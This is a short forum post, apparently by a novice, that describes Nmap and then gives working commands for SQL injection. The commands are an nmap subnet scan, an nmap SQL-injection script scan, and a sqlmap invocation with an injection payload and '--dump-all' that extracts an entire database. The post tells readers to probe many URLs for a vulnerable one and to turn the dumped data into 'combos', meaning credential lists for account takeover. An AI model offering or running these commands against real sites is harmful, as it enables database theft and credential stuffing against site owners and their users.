I'm newbie on this board,
today i will explain few things about SQL injection ;
Nmap (Network Mapper) is an open-source tool originally designed for fast scans of large networks, but it works just as well on single hosts. By sending raw IP packets in innovative ways, Nmap can identify active hosts, detect the services (including application name and version) they run, determine operating systems and versions, identify firewalls or packet filters in place, and gather many other network characteristics.
Download it here
Examples
Code:
[color=#27ae60]nmap -v 192.168.10.0/24[/color]
would scan the 256 hosts between 192.168.10.0 and 192.168.10.255
nmap -sV --script=http-sql-injection www.testphp.vulnweb.com –p 80
if possible SQL injection for queries using this command, use SQLMAP command try to find out entire data under this URL by typing
sqlmap -u "http://testphp.vulnweb.com/search.php?test=query%27%200R%20sqlspider" -D acuart --dump-all
the resulting DB will be extracted to the folder of sqlmap script.
you have to test on multiple URls to find vulnerable one, and then you get raw data to make your own combos !!